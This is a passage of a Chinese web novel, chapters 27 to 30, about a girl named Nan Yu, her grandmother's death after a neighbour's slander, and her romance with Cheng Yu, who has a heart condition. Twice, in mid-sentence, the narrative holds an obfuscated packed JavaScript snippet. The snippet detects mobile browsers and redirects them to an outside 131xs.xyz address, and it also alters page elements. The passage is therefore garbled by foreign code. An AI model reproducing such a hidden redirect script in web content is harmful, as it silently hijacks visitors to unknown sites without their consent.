到了南鱼家,他却发现大门紧锁,他知道南鱼最近出门怕老太太走丢每次会锁门,于是坐在门口等着,他想着程遇和南鱼回来肯定第一时间会先回家。 可是等了很久,他们都没回来,刘德旋给他们两个人打电话也没有人接。 不知道又过了多久,他看到一群人往这边来,其中许慧巧砰砰用力敲着大门,她往里面喊。 “老不死的快出来!我知道你在家!你家孙女儿杀人了!快出来!” 刘德旋听到这个消息有点懵,什么叫南鱼杀人了。 许慧巧声音很大,院子里传来一阵脚步声,奶奶出来了,她在里面扒着门,声音苍老,“你说什么?” “你孙女杀人了!现在正在警察局接受调查呢!”许慧巧接着喊。 里面传来一阵细碎的开门声,奶奶这才意识到门在外面锁上了。 她小了钥匙从门缝里塞出来,央求着外面的人开门。 刘德旋怕出事,不让开,身后有一群人过来拉住他,说不要耽误老太太去派出所看她孙女。 刘德旋眼睁睁地看着许慧巧给老太太开了门。 老太太一脸担忧,她抹了下脸,颤巍着身体走了出来。 许慧巧叉腰幸灾乐祸地瞧着她,“我就说你孙女不是什么好东西,杀人犯生的孩子就是杀人犯!” 奶奶指着她,嘴唇颤抖,“你胡说!我孙女才不会杀人。” 许慧巧笑了,“你不信问问在场的其他人啊,我们都是亲眼看到的,孙福儿子的尸体拉到了派出所,你家孙女被警察押到所里,人不是她杀的能是谁杀的!” “你个贱皮子,你污蔑我孙女,我给你拼了!”奶奶颤着身子往许慧巧方向冲过去,许慧巧闪开了,奶奶扑了个空。 她指着许慧巧,似乎有些上不来气,“你!你!” “我怎么样?你孙女的事情跟我可没什么关系,你孙女杀了人,就会跟她杀人犯的爹一个下场,你就等着她判死刑吧!” 老太太瞪大了眼睛,一口气没上来,倒在了那里。 许慧巧愣住了,她无辜地对着别人说:“大家可看到了啊!这可不是我的原因,是她自己倒在那的。” 刘德旋急了,他用力挣开拉着他的手,连忙打了镇上医院的电话,蹲在地上紧张地叫着奶奶,但奶奶没有反应。 很快,救护车来了,医生和护士从车上下来,检查了奶奶的身体后,说奶奶没气了。 刘德旋不敢相信,他摸了摸奶奶的手,很凉,凉得他打了个颤。 周围一圈人对着奶奶的尸体指指点点,他想,不能这样,就把奶奶的身体先抱到院子里放 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南鱼拎着刀,许慧巧满院子跑,她边跑边喊:“疯了!她疯了!她是疯子!救命啊!” 她的刀即将触碰到许慧巧,程遇冲过去从后背抱住她。 “南鱼!冷静!你冷静一点!” 南鱼红了眼睛,她不停地挣扎,“你放开我!放开我!她该死,我要杀了她为奶奶报仇。” 许慧巧跳脚,“你奶奶的死跟我有什么关系,还不是因为你把你奶奶气死的!” 南鱼挣不开,她一口用力地咬在程遇的胳膊上,但程遇还是没松手。 南鱼崩溃了,她蹲在地上,大声痛哭起来,“奶奶,我奶奶……没了,我再也……再也见不到她了。” 程遇抱着她,眼泪也忍不住跟着流了下来,他安抚她,“南鱼,你还有我。” 南鱼仿佛要把这两天没流的泪都流了出来,她的眼泪怎么擦不干。 程伟建来了,许慧巧像看到了救星,去抓住他诉苦。 她说她在家好好的做饭,南鱼拎着刀就过来了,她招谁惹谁了,南鱼要把她杀了。 程遇起身,他脸色白得可怕,但仍旧冷静地说:“是她去找南鱼奶奶说南鱼杀了人,奶奶一着急才会没了的。” 许慧巧抹了下脸,勉强挤出来两滴泪,“那时当时大家都这么说!我也是听来的!” “行了!”程伟建看了眼蹲在地上哭得上气不接下气的人,他怒斥许慧巧,“南鱼不是杀人凶手!这件事我昨天就已经说过了,以后不许再乱传!要不然她能告你造谣!” 程伟建十分严肃,许慧巧撇了撇嘴,不情不愿地应下。 南鱼刚缓和了情绪,却看到程遇捂着胸口大口喘着气,几乎站不稳身体。 “你怎么了?”南鱼连忙起身扶着他,一脸着急。 程遇从上衣兜里拿出来药,颤着手从里面倒出来一颗。 “快拿水啊!”南鱼着急的要哭了,她冲着许慧巧喊。 许慧巧这才反应过来,连忙端了一碗水过来。 就着水程遇吞下了一颗药,他的脸色这才好一点。 南鱼紧张地盯着他的脸,“好点没有?” 程遇点点头,“没事了。” 南鱼这才松了一口气,她的泪后知后觉地又流下来,“你吓死我了。” “我没事。”程遇拍了拍她的后背。 一场虚惊过去,程伟建又教育了一下南鱼,让她遇事不要那么冲动,随后他看了眼脸色仍旧有些白的程遇,让他们回去了。 程遇把南鱼送回家,站在门口,南鱼一直盯着他看。 “怎么了?”程遇笑笑,“我脸上有什么东西?” “什么病?”南鱼第一次问他这个问题。 程遇沉默了一会儿,“心脏病。” “是先天性的。”他补充道。 南鱼深吸一口气,指甲深深陷在掌心,“为什么不告诉我。” “因为我不想让你担心。” 程遇看着她,抬手放在她的脸颊上摩挲了下,像是要擦去并不存在的泪水。 他叹了口气,轻声说:“南鱼,我不想你担心。” “看到你哭,我会难过。” 明明无雨,南鱼却觉得她的头顶此时撑了一把伞,程遇站在伞下,紧紧地把她护住。 她眼睛眨也不眨地看着他,一股暖流在她心头溢开蔓延,包裹着四肢。南鱼张了张嘴,一切的言语化成叹息。 她往前一步,第一次主动抱了程遇。 她头埋在他的肩上,听着他的心跳,她轻声说: “可是,程遇,你不告诉我,我更难过。” 28. 第 28 章 南鱼回学校上课了,关于孙承坚的事情在镇上闹得沸沸扬扬,大家看向她的眼神里多了份关切。 南鱼不在意外界的眼光,她把所有的精力都投在了学习上。 她答应了奶奶,要好好学习,离开这座小镇。 最终期中考试也如她所愿,排名又向前进了几名,成绩提高到四百五,虽然还不够看,但也是进步。 另一个好消息也同期末考试一同到来。 杀害孙承坚的那三个男人被抓到了,一同被抓的,还有十几个同伙。 南鱼通过程伟建得知,他们是一个成熟的犯罪团伙,一直做着放贷收贷的事情。 他们会故意把人引到赌博的路子,很常见的一种犯罪套路,先是在牌桌上暗中操纵先给人点甜头,后来把他们的口袋掏空,最后诱惑他们贷款。 孙伟建正是掉进了他们的套路,前两年,孙伟建跟着朋友上了赌桌,很快钱赌没后,他开始贷款,贷款后来还不上,那群人逼得太紧,走投无路时,他想起来山内镇的南鱼一家。 因此他才回到山内镇,利用舆论想要问南鱼要钱。这期间,那群人又来催他,他刚好从家里的柜子里翻出来这些照片,所以他才想出来这个法子。但没想到,最后他自己却搭进去了一条命。 有些唏嘘,但确实是罪有应得。 程伟建把这件事情公布出去,大家对南鱼的态度出现了转变,纷纷开始惋惜南鱼,谴责孙承坚一家。孙承坚的妈妈承受不住,最后又搬离了山内镇。 南鱼对此倒没多大反应,仍旧如一日地学习刷题。 期末考试结束后,即将进入高三,南鱼正式辞去了孙邢洲KTV的工作。 孙承坚也没挽留,他仍旧一副懒散样子,在柜台抽着烟,伸手拉开抽屉从里面拿出来一个红包递给南鱼。 南鱼瞥了眼,没接。 “无功不受禄。” “拿着,”孙邢洲的语气不容置喙,他直接塞到南鱼的手中,眯眼吐了口烟雾,“还跟你洲哥客气呢?” “虽然我这人没什么学问,但我一眼就看出来,南鱼,你以后会出人头地的。”孙邢洲对着烟灰缸弹烟灰。 “借你吉言,”南鱼笑了下,她捏了捏红包,还挺厚,看孙邢洲这样子,想来他早就知道南鱼要走,她举起红包,“那我就收下了。” “收下吧,”孙邢洲看到往这儿来接南鱼的程遇,冲她挥了挥手,叼着烟说,“没事儿就赶紧走吧,以后想来唱歌随时欢迎。” “那喝酒呢?”南鱼调侃一句。 孙邢洲睨了她一眼,“喝酒免谈,我可不想这里成为你的案发现场。” 前段时间南鱼喝得有些狠,她胃疼的直接进了医院。医生本意是让她多检查检查,但南鱼不愿意耽误次日上课,非说没事,只开了点胃药。 南鱼笑了下,程遇走到她的身边,听到这句话皱眉问:“你还要喝酒?” “不喝了,”南鱼拿上书包背到肩上,“开玩笑的。” “走吧。” 夏天的夜晚,外面空气闷热不已,虽然有风,但也是燥的。 两个人沿着马路走,头顶的路灯围着许多飞虫。 南鱼拍死了胳膊上的一个蚊子,程遇抽了张纸递给她让她擦去手上和胳膊上的血。 “我去挑一个西瓜回去。”路上正好遇到开着三轮车在路边卖西瓜的老大爷,南鱼把书包丢给程遇小跑几步到瓜摊旁。 因为天太热,南鱼今天扎了个丸子头,丸子头看着松松垮垮的,在头顶一晃一晃的。 程遇盯着她的丸子头看了一会儿,跟着她走过去。 南鱼在认真地挑瓜,她一个一个挨着敲,听里面传来的声音。 最后,南鱼挑了一个敲打声音浑厚低沉的瓜让老大爷上秤打包。 “小姑娘懂得嘞!”老大爷笑眯眯地称好瓜装起来递过去,“这瓜包甜的!” 程遇接过瓜,南鱼把钱给他道了声谢。 “一会儿你切一半回去。”两人离开瓜摊,继续往家走着,南鱼看着面前幽深的小巷说。 程遇偏头看她,似是有所感应,南鱼和他对视,笑着解释:“我一个人吃不完一个。” 她说这话时脸上明显划过一丝淡淡的悲伤,程遇捕捉到了。 距离南鱼奶奶去世已经过了有几个月,但南鱼还是没能完全走出来。偶尔在大街上看到佝偻着背的老太太时,她会站在那晃神片刻。 “我陪你在你家吃。”程遇说。 南鱼警惕起来,一脸严肃,“你不会又要抢我瓜心吧!” 上次在家里一起吃西瓜的时候,程遇和她一人抱了一半坐在院子里。许是看到西瓜想起了去年奶奶还在的时候,南鱼握着勺子愣了半天都没吃。 程遇叫她也没什么反应,他直接拿勺子把她中间最甜的一块给挖走,南鱼这才回过神。 她气呼呼地瞪着程遇,程遇抬了下眉,故意引诱她一般把那块西瓜吃进嘴里。 “……怎么会。” 南鱼瞪了他一眼,威胁般地朝他挥了挥拳,“你要再敢抢我西瓜,我绝对饶不了你。” 程遇笑了,“不敢,不敢。” 南鱼哼哼两声,这才放下拳头。 程遇陪着南鱼吃了一半的瓜,把另一半放在冰箱没有带回去。 他回了家,刘雁花和程国升还在客厅里坐着说话,他们正在讨论着什么。 看到程遇,刘雁花招呼他,“小遇,过来坐,有点事儿给你说。” 程遇走过去坐了下来。 “是这样,小遇,你下半年就要高三了,你爸晚上来了电话,他的意思是让你转回去读书。”说完,刘雁花观察着程遇脸上的表情。 程遇没说话,程国升开口说:“你最近心脏情况也有些差,我跟你奶奶商量过了,你下半年还是转回去吧。” “我不想转回去,”程遇目光清凌凌的,“我在这就挺好。” “小遇,听话,这里医院没市里医院好,你万一——那里总好过这里,而且高三了,你的任务会比现在重,也需要好好调养调养身体。”刘雁花手放在腿上,关切地望着他。 程遇还是摇头,他语气坚定:“我不想回去。” “如果没其他事情我先回房间了。” 程遇不顾他俩的脸色,起身回了卧室。 程国升皱着眉看着他倔强的背影,有些无奈,又有些生气。 “没事儿,我有办法。” 听到刘雁花这么说,程国升看了她一眼,刘雁花一脸自信。 次日一早,刘雁花敲响了南鱼的家门。 南鱼刚起床,正在刷牙,听到有人敲门,她以为是程遇,匆忙地漱了一下口把水吐掉,拿毛巾擦了下嘴跑去开门。 看到门口的人,南鱼愣了一下。 刘雁花有些不好意思地搓了搓手,对她笑着说:“我能进去说么?” 南鱼点了下头,带着刘雁花到院子里,给她搬了一个凳子。 刘雁花坐了下来,她看看南鱼,欲言又止。 南鱼打破了这份尴尬,“奶奶,您有什么事情找我么?” 刘雁花有些局促,想了想最终开口,她先是叹了一口气,“你知道,小遇的情况最近有些差。” 南鱼没有接话,等待着她接下来的话。 “而且马上也要高三了,高三压力大,我们都害怕小遇身体有些受不住,你知道的,市里的医疗资源好,学习资源也好,他爸昨晚来了电话,想要让小遇转回去。” 话说到这,刘雁花停了下来。 南鱼听懂了她的意思,“您是想让我劝程遇回去是吧?” 刘雁花点点头,“哎!对!” “小遇这孩子脾气倔得很,我跟他爷爷说话都不听。他和你关系最好,我就想着来找你看能不能劝劝他。” 南鱼捏紧手指,一丝丝疼痛感传来,她努力忽视,面带笑容,“奶奶,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344459|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心吧,我一定会让程遇劝回去的。” 有了她的承诺,刘雁花放心了,她一脸感激,抓着南鱼的手,“真是谢谢你了,小遇眼光果然不错,他交了一个好朋友。” 南鱼扯了扯唇角,僵硬地笑了笑。 刘雁花走后没多久,程遇就来了家里。 南鱼正在院子里做题,程遇在她旁边坐了下来。 察觉到头顶落下来的阴影,南鱼抬头,“你来了。” “嗯,今天卷子做到哪了?” “第四节。” “题觉得难么?” “还可以。” 程遇点了下头,从书包里也拿出来卷子准备做题。 南鱼放下笔叫他,“程遇。” “怎么了?”程遇放好卷子问。 “你开学了转回市里吧。” “我奶奶来找你了。”程遇肯定的说。 “是,”南鱼颤了颤眼睫,“我觉得你的情况适合转回市里。” “我不需要。” “你需要,”南鱼摇头,她目光平静,“你的心脏最近情况有些差,需要好好养着。” “南鱼——” “程遇,你听我话,”南鱼打断他,她捧着程遇的脸,认真地说,“你还记得你之前说过什么嘛?你说要和我一起去有海的城市读书,我答应你。” “但前提是,你转回去读书。高三太苦了,我希望你能好好地度过,我们以后还有很多时间,不是么?” 两人离得很近,近到程遇能看清她脸上的细微绒毛,彼此的呼吸交缠,程遇眼尾下压,滚动了喉结,最终点了点头。 一个暑假过去,程遇就要离开了。 程伟建开车回来接他,程遇漫不经心地往车上装着行李,时不时地往道路尽头看上一眼。 终于,一道身影出现在了道路尽头。 程遇把手中的东西往车上一丢,朝着那道身影走了过去。 南鱼带着一个帽子,一副刚睡醒的样子,她打了个哈欠,程遇看过去,她的眼底下有些泛青。 “昨晚没睡好?”程遇问。 南鱼“嗯”了声,从兜里掏出来一个东西丢给他,“送你的。” 程遇接着,低头看了眼,是一个耳机。 “我觉得你可能会需要。” 程遇这次转回去已经决定好在学校住宿,学校明面上规定不让带手机,如果他们两个人通话只能在私底下,耳机是个很实用的工具。 程遇笑了下,“我会好好珍惜的。” “没什么事儿了,那我就先走了。”南鱼又打了个哈欠,她压了压帽檐,遮住了眼睛。 “南鱼。”程遇叫她。 南鱼停住脚步,站在那没有转身。 “最后再抱一下,可以么?” 程遇的声音在她身后响起,南鱼低着头,沉默了几秒。 接着,她转过身,克制又隐忍地朝他走过去。 程遇笑着朝她张开双臂,南鱼到他面前,双手环住了他的腰。 她的脸颊紧紧贴着他的身体,鼻腔中充满了独属于程遇身上清爽的气息。 南鱼轻声说:“程遇,如果你敢忘了我,我真的会把你揍一顿。” 程遇手放在她的背上,低头看她,漆黑的眼眸里倒映的全是她的身影,他低低的笑了声,“不会,我怎么可能会忘了你。” 南鱼闭上了眼睛,感受着他的心跳。 程伟建从院子里出来,看到紧紧相拥的两个人,他张了张嘴,最终也没有出声打扰,先坐到了车里。 不知过了多久,南鱼推开他,声音有些冷淡,“走吧。” “嗯,我走了,”程遇摸了摸她的头发,“等我回来。” 南鱼站在原地看着程伟建启动了车子,车子缓缓地从她旁边驶过,程遇透过车窗向她挥手。 汽车很快驶出这条小道,留下一片飞扬的尘土,程遇的身影最终消失了她的眼里。 29. 第 29 章 程遇离开山内镇后的日子过得格外快,原来的学习小分队开始变成了由万以荣主导。 她的成绩在程遇的帮助下也上升了一个层次,在程遇走后成为了当之无愧的第一名。 因为程遇住校的缘故,南鱼他们两人聊天的频率很低,在周内有时候可能两三天也不聊一句。 不过到了放假时候,程遇会主动给南鱼打视频询问她最近的学习情况,然后根据南鱼现阶段存在的问题帮忙制定计划。 有了万以荣和程遇的帮忙,南鱼成绩进步飞快,在半学期后的一模考试中,南鱼成绩跻身到班级前二十,分数也上了五百。 南鱼已经很满意了,毕竟五百多分就能有一个二本读。 她没有期望最后自己能读一个多好的大学,毕竟她的能力也达不到,南鱼对她自己有很清晰的认知,她基础不好,仅仅是凭她学这一年半根本也不可能读一个重点本科,她的目标就是能进一个二本就行。当然,如果学校是一本更好。 期末考试结束后,万以荣问南鱼:“程遇是不是该回来了?” 南鱼摇头,她看了眼手机,程遇没有给她说要回来过年的事情。 但南鱼也有些期待,两人半年没有见面,虽然会时不时隔着手机视频,但难解思念。 南鱼和程遇都清楚的知道,他们之间的关系只差捅破那一层窗户纸。 但他们都不急,眼前最重要的事情是高考。 “哦,我还以为他和你说了呢,”万以荣感叹,“他回市里念书,成绩肯定更厉害了吧。” 刘念娣附和道:“肯定是,不过他还有进步空间么?” 那应该是没了的。 毕竟他已经每科都接近满分,再进步也不可能考七百五。 “也不知道他最后读什么专业?” “以他的成绩学校和专业随便挑吧。” 南鱼在一旁听着万以荣和刘念娣的话,她低垂着眼,也在心里思索着这件事。 到晚上的时候,两人开了视频,南鱼想起来这个问题就问了他。 程遇思索了一下,“可能会读物理学专业。” 南鱼坐在书桌旁,一只手拿着手机,一手托腮在脸上点啊点,“我还不知道该学什么,好纠结。” “你有没有喜欢的?”程遇问她。 “喜欢的啊,”南鱼想了下,她喜欢看课外书,喜欢写东西,“那就汉语言专业?” 前段时间徐奇在班上和他们聊过大学专业的事情,她听他提起过汉语言专业。 “都可以,只要你喜欢就行。”程遇笑了笑。 两人又说了些有的没的,程遇看着屏幕对面灯光映得面容恬淡的女生,犹豫了下,开口说:“寒假我可能就不回去了,放假时间短,我爸也已经把爷爷和奶奶接过来了。” 南鱼听后脸上的笑容淡了几分,她扯了扯唇角,“我知道了。” 接着是一片沉默。 “南鱼。”程遇低低地叫了她一声。 南鱼盯着屏幕中的有些模糊的俊脸,她听到程遇对她说,“我想你。” 南鱼垂下眼眸,看着很久之前程遇给她做的笔记,一股强烈的情绪涌在胸口,南鱼颤了颤睫毛,在心里回应了句。 我也是,很想。 大年三十那天,刘铁来找南鱼。 他带着自己烧烤的工具,说要在院子里做烧烤。 天格外的冷,即使坐在烤炉前,刘铁也冻得手发红。 “你说你这是图什么?”南鱼从屋子里翻出来一个手套给他,在他旁边坐下来,“这么冷的天,不在家吃年夜饭跑来烧烤。” 刘铁瞥了她一眼,嘴里咬了根烟,“你懂什么?这叫情调。” “……” 南鱼是不懂,吃个烧烤而已,这算哪门子情调。 不过她也没扫刘铁的兴,在他递过来一串烤鸡翅时十分捧场地夸赞他,“手艺赶得上开饭店的了。” “你这评价倒挺高。”刘铁笑笑。 “总得给点厨师动力吧,大过年的还辛苦来给我烧烤。”南鱼笑嘻嘻的。 “算你还有点良心。” 两人坐在院子里吃饱喝足,南鱼时不时地看一眼手机。 刘铁注意到,似是不经意的问:“在等程遇消息呢?” “嗯。”南鱼没有否认。 刘铁又拿了根烟点上,不远处鞭炮声噼里啪啦地传来,天色将暮,他吸了口烟看向远处,倏地来了句,“南鱼,你觉得我怎么样?” 南鱼正低头翻看着万以荣他们在群里发的消息,指尖顿住,抬头笑,“挺好的。” “不是作为朋友,”刘铁转头,认真地盯着她的眼睛说,“是作为一个男人。” 南鱼愣了一下,随后沉默了,如果刘铁是那种意思,她没办法回应。 南鱼低着头,似乎不知道该怎么回答,刘铁笑了笑,他弹了下她的脑门,“开玩笑呢,你还当真了。” 南鱼松了口气,又换上了笑脸。“你吓我一跳。” 刘铁瞥了她一眼,“我拿你当妹妹的,今年过年家里人又给我介绍了对象,我觉得还挺合适,如果我们成了你得来喝喜酒。” “那必须的,”南鱼好奇的多问了句,“什么样的女孩儿?” “她啊,挺好的,哪都挺好的。” “评价这么高?”南鱼笑了,“看来我真的能喝上喜酒了。” “当然能,我看中的女生,肯定很好。” 哪都好,除了不喜欢他。 说着话,程遇给南鱼发了消息,南鱼打开看,嘴角挂着怎么也下不去的笑。 她的眼睛亮晶晶的,刘铁眯了下眼,抽完了最后一根烟,决定把所有的思绪埋在心底。 - 次日,初一。 南鱼难得睡了个懒觉,她十点多才起床,她推开房门,看到院子里一片白。 昨夜下了场大雪,南鱼边打哈欠边把院子的凳子上的积雪扫掉全部搬到房间里。 搬完后,她回了趟房间,把手机从枕头底下拿出来翻看消息。 看到手机屏幕上程遇的消息时,她一愣,接着飞速跑到院子里把大门打开。 程遇站在门外,看到南鱼,他眼神灼灼,弯了下唇角,“我回来了,南鱼。” 面前的男生穿了一件黑色羽绒服,脖子上围了一条藏蓝色的围巾。南鱼揉了揉眼,似乎有些不敢相信。 “不让我进去么?”程遇指了指手中拎的东西,“很重的。” 南鱼回过神,惊喜的情绪后知后觉地涌上心头,“快进来!” 两人进了屋子,程遇把带来的东西放到了桌子上。 “你不是说不回来么?”南鱼围在他的身边,看着他从袋子里往外一件一件地掏东西。 程遇带回来的都是吃的,他掏出一盒巧克力递给她,笑道,“因为想你了。” “哦。”他的话直白,南鱼的脸上又热了起来,心里却一片晴朗。 “还有烤鸡翅,”程遇掏出袋子里最后一样东西,“这家烤翅市里面很有名,我昨天下午去买的,在冰箱里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351456|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷藏了一晚上,得热热才能吃。” 南鱼扬眉笑了笑,“大老远跑回来还带这个回来啊。” “当然,”程遇神色柔和,“这都是你喜欢吃的,想让你尝尝。刚烤好的更好吃,以后你来市里了我带你去。” “好呀,”南鱼笑得明媚,她拿起烤翅往厨房跑去,“我现在热了尝尝。” 程遇跟着她去厨房,没有烤箱和微波炉,南鱼把烤翅串起来直接在火上烤,很快厨房飘起一阵香味。 加热后,南鱼先递给了程遇一串,自己又拿了一串吹了吹表皮咬了一口,鲜香的口感在舌尖溢开,南鱼幸福的弯了弯眼。 “挺好吃的。”南鱼评价道。 “那就好。”程遇把烤翅拿在手上没吃,眼神温柔地看着南鱼的满足的脸。 南鱼注意到问:“你怎么不吃?” “是给你带的。” 南鱼从他手中拿过来往他嘴边喂,语气不容置喙,“一起吃!” 眼前握着烤串的手白皙纤细,程遇看了眼,笑了声,妥协了,“好吧。” 两个人在厨房吃完又回到了房间,他们坐在奶奶的卧室开了空调,屋子里慢慢暖和起来。 “你在门外等了那么久,怎么都不给我打电话?那么冷,傻不傻啊?”南鱼想起程遇给她发消息是九点多,而她看到消息时已经十点多了。 也就是说,程遇在门外站了一个多小时。 “猜到你在睡觉,不想打扰你。” 南鱼撇了下嘴,给起身给他倒了杯热水,“那也不能在外面站那么久,冻感冒了怎么办?” “你心疼我了?”程遇心情很好地扬唇。 南鱼把水杯往他手中一塞,翻了个白眼,“谁心疼你了。” 程遇手指握紧杯子,水的温度不烫手,刚刚好,一看就是刻意冷热掺了一下,他忍不住又笑了几下。 口是心非。 午饭是程遇做的。 做好后,他把饭盛出来端进奶奶卧室里。 南鱼连房门都没出,程遇就把饭放到了她面前。 他过于贴心,南鱼反倒有些不太好意思了。 程遇倒不觉得有什么,他坐到南鱼对面,“尝尝看味道怎么样。” 南鱼拿筷子挑了一根面到嘴里,竖起大拇指,“棒!” 得了夸赞,程遇笑了笑。 吃完面,最后又是程遇刷的锅碗。 南鱼在一旁看着,“我怎么觉得今天我像个残疾人一样。” “瞎说,”程遇把洗好的碗筷放好,甩了甩手上的水,看她一眼,“你要少碰凉水。” “哦,”南鱼悄悄的弯唇,她手撑在桌子上,想起了什么,偏头看着仍旧在收拾厨房的程遇问他,“你准备什么走?” “你要赶我走?”程遇抬眉。 南鱼摸了摸鼻子,“不是,我就是想问一下。” “今晚在这儿住一晚,明天走。”程遇彻底把厨房收拾干净,他拿了条毛巾擦了擦手。 “那你晚上住哪?”南鱼接着问。 “我没带家里钥匙,准备晚点儿问问刘德旋或万高达,去他们家住一晚。” 南鱼家的厨房矮小,程遇身形高大,他站在那,几乎挡住南鱼头顶的光。 她抬头看着他,他的下颚线清晰,脸部轮廓利落,清俊的眉眼在灯光下格外温柔。两人离得很近,南鱼甚至闻到他身上还有一股好闻的花香。 很突然的,南鱼像是受蛊惑一样,看着他漆黑的眼眸来了句,“要不今晚就住我家吧。” 30. 第 30 章 但很快,南鱼意识到自己说了什么,她的脸滕的一下就红了,“你别误会,我的意思是你可以住我房间,我住我奶奶的房间。” “好,”程遇笑了一下,看到她白皙透红的脸,忍不住多说了一句,“我没误会。” “那我去收拾房间。”南鱼丢下这一句,迅速逃离了原地。 看着她仓皇而逃的背影,程遇站在那笑了笑。 晚上躺到奶奶的床上,南鱼觉得还有种不真实感。 她竟然真的让程遇在家里留宿了,虽然不是睡在同一张床上,但她心里还是有种异样的感觉。 心里想着乱七八糟事,南鱼在床上翻来覆去怎么也睡不着。 手机在旁边亮了起来,南鱼拿起手机看,程遇给她发了一条消息。 【睡了么?】 南鱼回:【没......有点睡不着】 程遇:【我也是】 躺在南鱼的床上,程遇觉得到处都是她的气息,他心神不宁,脑袋里总闪现乱七八糟的画面。 于是,两个人同样失眠了。 黑暗中,灯光的屏幕照亮南鱼的脸,她拿着手机躺在那按着键盘打打删删,最后发给程遇:【那你要不要来我房间?】 发完,她面色通红,把被子往上一拉蒙住脸,手放在心口感受心脏扑通扑通地跳动。 来、我、房、间。 程遇盯着这四个字,有一股热气突然涌了上来,他呼吸放缓,压下心中的躁动,滚动喉结垂眼在屏幕上打下:【好。】 门口传来一阵脚步声,接着是推门的声音。 南鱼连忙起身端正地坐好,从旁边的床头柜上随手拿起一本书装作认真看书的样子。 程遇推门而入,南鱼装作若无其事地从书中抬头,“你来了。” “嗯,”程遇走过去在床边坐下,往她手中的书上瞥了一眼,“还在看书呢?” 南鱼感觉到旁边的床垫往下一陷,垂眸看到程遇冷白修长的手,她耳尖又有点红了起来,清了清嗓子说,“睡不着,随便看看。” 程遇“嗯”了声,两人谁都没有再说话了。 尴尬微妙的气氛在房间蔓延,南鱼手指用力攥紧手中的书,试图寻找话题。 ——“你怎么睡不着?” ——“我房间没空调,你觉得冷么?” 两人同时开口,南鱼摸了下耳朵,回他:“可能因为早上起得太晚了。” 程遇点了下头,也回答她的问题,“还好,不算太冷。” 南鱼“哦”了一声。 “我能上床么?”程遇突然来了一句。 南鱼心倏地一跳,瞪大了眼睛似乎不敢相信自己听到的话,“嗯?” “我的意思是,我能到床上坐一会儿么?在床边坐有点冷。”程遇笑着解释。 原来是误会了。 南鱼连忙往旁边坐了坐,垂眸掩下尴尬的情绪,“你上来吧。” 程遇坐在了她的旁边,奶奶的床不是很大,两人挨得很近,被子下面,南鱼的腿和他的腿之间只留了一条狭小的缝隙,腿在不经意间触碰上的那一刻,像被电击了一下似的,他们彼此都赶紧往另一边挪动。 一瞬间,两人呼吸都有些乱了。 南鱼整个人身体都紧绷起来,她觉得此刻自己的心不受控制了,高高地扬了起来,扑通扑通乱跳。 “要听故事么?”气氛过于暧昧,程遇有些忍不住,他舔了下有些干燥的唇,开口声音沙哑。 南鱼脑袋一片混沌,听到程遇开口,也不管他说了什么,忙不迭点头。 程遇拿出手机在网上搜了几个睡前故事,低沉的嗓音开始给南鱼照着念了起来。 “从前有一只小猪,他十分得懒惰,就连吃饭都是猪妈妈给她端到床前,猪妈妈每天都在抱怨,你这个样子如果有一天我出远门了怎么,小猪说,你出远门的话就给我烙十张大饼放在床前就行了......” 程遇的嗓音低哑,像沙砾一般轻轻地划过她的耳朵,撩拨的她耳尖酥酥麻麻的。 他讲了什么样一个故事,南鱼完全没听到心里,温暖的灯光下,她沉溺在他的声音中,恍恍惚惚地身体仿佛被抛向云端,很舒适。 过了一会儿,程遇的肩膀倏地一沉,一阵属于南鱼身上独有的清甜传来,他偏头看了一眼,南鱼双眼紧闭,呼吸沉稳,她睡着了。 南鱼的脸贴着他的肩,程遇滚动了下喉结,低头温柔地打量着她。 不同于白天的张扬,睡着的她面容恬淡,纤长的睫毛垂下,在脸上投出淡淡的阴影,鼻尖小巧高挺,视线往下,她的唇粉嫩饱满,像是水蜜桃一样让人想要采撷。 程遇呼吸有一瞬间凌乱了,他连忙挪开眼睛。 独自平复了一会儿,程遇轻轻地扶着南鱼的头,缓慢地将她放倒在床上。 许是感觉到有些被打扰,南鱼无意识地翻了个身,抱住了程遇的胳膊。 他的身体向南鱼倾斜着,程遇想要抽出胳膊,但南鱼抱得很紧死活都不松手,程遇有些无奈。如果贸然用力,南鱼可能会醒,他不想打扰到她睡觉,于是只能僵着身子坐在那。 一夜无梦。 南鱼睡了个好觉,她睁开眼,映入眼帘的是程遇放大的俊脸。 !!! 南鱼差点尖叫出来,她猛地从床上坐了起来。 怎么回事?她怎么会跟程遇睡在一张床上? 程遇被她的动静吵醒,也坐了起来。 “我们......我们怎么会......” 睡在一张床上。 最后一句话南鱼没有问出来。 程遇倒是淡定,他解释说:“你昨晚拉着我胳膊不让我走。” 南鱼有些懵了,她完全没有印象。 “起床吧,我去做饭。” 程遇从床上下来,出门去南鱼房间换衣服。 他昨晚穿的睡衣还是临时在超市买的,也幸亏是超市开门,不然他都没衣服换。 南鱼独自一人呆在房间愣了好久,随后,她脸色通红地把脸埋在了被子里。 等到平复好心情换完衣服出来,程遇已经做好了饭了。 看着他忙活的身影,南鱼有一瞬间觉得,他们这样好像老夫老妻啊。 程遇叫她吃饭,南鱼摇摇头,把这乱七八糟的想法赶出脑袋。 吃完饭两人又一起呆了一上午,程遇就要离开了。 因为过年的缘故,镇上到县里的班车只有下午两点一班。南鱼把程遇送到路口,看着不远处的公交车晃晃悠悠的朝这边来。 